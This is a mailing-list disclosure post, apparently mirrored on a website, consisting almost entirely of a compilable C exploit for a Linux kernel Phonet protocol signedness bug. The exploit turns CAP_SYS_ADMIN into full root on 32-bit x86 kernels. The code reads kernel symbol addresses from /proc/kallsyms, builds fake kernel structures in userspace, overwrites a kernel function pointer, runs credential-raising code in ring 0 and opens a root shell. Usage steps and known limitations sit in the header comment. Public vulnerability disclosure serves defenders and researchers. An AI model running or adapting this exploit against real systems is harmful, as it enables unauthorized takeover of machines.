Getting root, the hard way

From: Dan Rosenberg <dan.j.rosenberg@gmail.com>
To: full-disclosure@lists.grok.org.uk,bugtraq@securityfocus.com
Cc:
Subject: Getting root, the hard way
Date:


/*
 * Linux Kernel CAP_SYS_ADMIN to root exploit
 * by Dan Rosenberg
 * @djrbliss on twitter
 *
 * Usage:
 * gcc -w caps-to-root.c -o caps-to-root
 * sudo setcap cap_sys_admin+ep caps-to-root
 * ./caps-to-root
 *
 * This exploit is NOT stable:
 *
 *  * It only works on 32-bit x86 machines
 *
 *  * It only works on >= 2.6.34 kernels (it could probably be ported back, but
 *    it involves winning a race condition)
 *
 *  * It requires symbol support for symbols that aren't included by default in
 *    several distributions
 *
 *  * It requires the Phonet protocol, which may not be compiled on some
 *    distributions
 *
 *  * You may experience problems on multi-CPU systems
 *
 * It has been tested on a stock Ubuntu 10.10 installation.  I wouldn't be
 * surprised if it doesn't work on other distributions.
 *
 * ----
 *
 * Lately there's been a lot of talk about how a large subset of Linux
 * capabilities are equivalent to root.  CAP_SYS_ADMIN is a catch-all
 * capability that, among other things, allows mounting filesystems and
 * injecting commands into an administrator's shell - in other words, it
 * trivially allows you to get root.  However, I found another way to get root
 * from CAP_SYS_ADMIN...the hard way.
 *
 * This exploit leverages a signedness error in the Phonet protocol.  By
 * specifying a negative protocol index, I can craft a series of fake
 * structures in userspace and cause the incrementing of an arbitrary kernel
 * address, which I then leverage to execute arbitrary kernel code.
 *
 * Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
 * and bla.
 *
 */

#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int getroot(void)
{
    
   commit_creds(prepare_kernel_cred(0));
      return 0;       

}

int konami(void)
{

   /* Konami code! */
 asm("inc %edx;"               /* UP */
       "inc %edx;"               /* UP */
       "dec %edx;"               /* DOWN */
     "dec %edx;"               /* DOWN */
     "shl %edx;"               /* LEFT */
     "shr %edx;"               /* RIGHT */
            "shl %edx;"               /* LEFT */
     "shr %edx;"               /* RIGHT */
            "push %ebx;"      /* B */
        "pop %ebx;"
      "push %eax;"      /* A */
        "pop %eax;"
      "mov $getroot, %ebx;"
            "call *%ebx;");   /* START */

   return 0;
}

/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
        FILE *f;
   unsigned long addr;
        char dummy;
        char sname[512];
   struct utsname ver;
        int ret;
   int rep = 0;
       int oldstyle = 0;

     f = fopen("/proc/kallsyms", "r");
      if (f == NULL) {
           f = fopen("/proc/ksyms", "r");
         if (f == NULL)
                     return 0;
          oldstyle = 1;
      }

     while(ret != EOF) {
                if (!oldstyle)
                     ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
          else {
                     ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
                  if (ret == 2) {
                            char *p;
                           if (strstr(sname, "_O/") || strstr(sname, "_S."))
                                      continue;
                          p = strrchr(sname, '_');
                         if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
                                       p = p - 4;
                                 while (p > (char *)sname && *(p - 1) == '_')
                                              p--;
                                       *p = '\0';
                               }
                  }
          }
          if (ret == 0) {
                    fscanf(f, "%s\n", sname);
                        continue;
          }
          if (!strcmp(name, sname)) {
                        fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
                 fclose(f);
                 return addr;
               }
  }

     fclose(f);
 return 0;
}

int main(int argc, char * argv[])
{

      int sock, proto, i, offset = -1;
   unsigned long proto_tab, landing, target, pn_ops, pn_ioctl, *ptr;
  void * map;
        
   /* Create a socket to load the module for symbol support */
        printf("[*] Testing Phonet support and CAP_SYS_ADMIN...\n");
     sock = socket(PF_PHONET, SOCK_DGRAM, 0);

      if(sock < 0) {
                if(errno == EPERM)
                 printf("[*] You don't have CAP_SYS_ADMIN.\n");

         else
                       printf("[*] Failed to open Phonet socket.\n");
           
           return -1;
 }

     /* Resolve kernel symbols */
       printf("[*] Resolving kernel symbols...\n");

        proto_tab = get_kernel_sym("proto_tab");
 pn_ops = get_kernel_sym("phonet_dgram_ops");
     pn_ioctl = get_kernel_sym("pn_socket_ioctl");
    commit_creds = get_kernel_sym("commit_creds");
   prepare_kernel_cred = get_kernel_sym("prepare_kernel_cred");

        if(!proto_tab || !commit_creds || !prepare_kernel_cred ||
     !pn_ops || !pn_ioctl) {
         printf("[*] Failed to resolve kernel symbols.\n");
               return -1;
 }

     /* Thanks bla, for reminding me how to do basic math */
    landing = 0x20000000;
      proto = 1 << 31 | (landing - proto_tab) >> 2;

     /* Map it */
       printf("[*] Preparing fake structures...\n");

       map = mmap((void *)landing, 0x10000,
                  PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
 
   if(map == MAP_FAILED) {
            printf("[*] Failed to map landing area.\n");
             return -1;
 }
  
   /* Pointer to phonet_protocol struct */
    ptr = (unsigned long *)landing;
    ptr[0] = &ptr[1];

        /* phonet_protocol struct */
       for(i = 1; i < 4; i++)
                ptr[i] = &ptr[4];

        /* proto struct */
 for(i = 4; i < 204; i++)
              ptr[i] = &ptr[204];

      /* First, do a test run to calculate any offsets */
        target = 0x30000000;

  /* module struct */
        for(i = 204; i < 404; i++)
            ptr[i] = target;
   
   /* Map it */
       map = mmap((void *)0x30000000, 0x2000000,
             PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
 
   if(map == MAP_FAILED) {
            printf("[*] Failed to map landing area.\n");
             return -1;
 }

     printf("[*] Calculating offsets...\n");

     socket(PF_PHONET, SOCK_DGRAM, proto);
      
   ptr = 0x30000000;
  for(i = 0; i < 0x800000; i++) {
               if(ptr[i] != 0) {
                  offset = i * sizeof(void *);
                       break;
             }
  }

     if(offset == -1) {
         printf("[*] Test run failed.\n");
                return -1;
 }

     /* MSB of pn_ioctl */
      target = pn_ops + 10 * sizeof(void *) - 1 - offset;
        
   /* Re-fill the module struct */
    ptr = (unsigned long *)landing;
    for(i = 204; i < 404; i++)
            ptr[i] = target;
   
   /* Push pn_ioctl fptr into userspace */
    printf("[*] Modifying function pointer...\n");

      landing = pn_ioctl;     
   while((landing & 0xff000000) != 0x10000000) {
         socket(PF_PHONET, SOCK_DGRAM, proto);
              landing += 0x01000000;
     }

     /* Map it */
       map = mmap((void *)(landing & ~0xfff), 0x10000,
                  PROT_READ | PROT_WRITE | PROT_EXEC,
                MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
 
   if(map == MAP_FAILED) {
            printf("[*] Failed to map payload area.\n");
             return -1;
 }

     /* Copy payload */
 memcpy((void *)landing, &konami, 1024);

  printf("[*] Executing Konami code at ring0...\n");
       ioctl(sock, 0, NULL);

 if(getuid()) {
             printf("[*] Exploit failed to get root.\n");
             return -1;
 }

     printf("[*] Konami code worked!  Have a root shell.\n");
 execl("/bin/sh", "/bin/sh", NULL);

}






Copyright © 1995-2020 LinuxRocket.net. All rights reserved.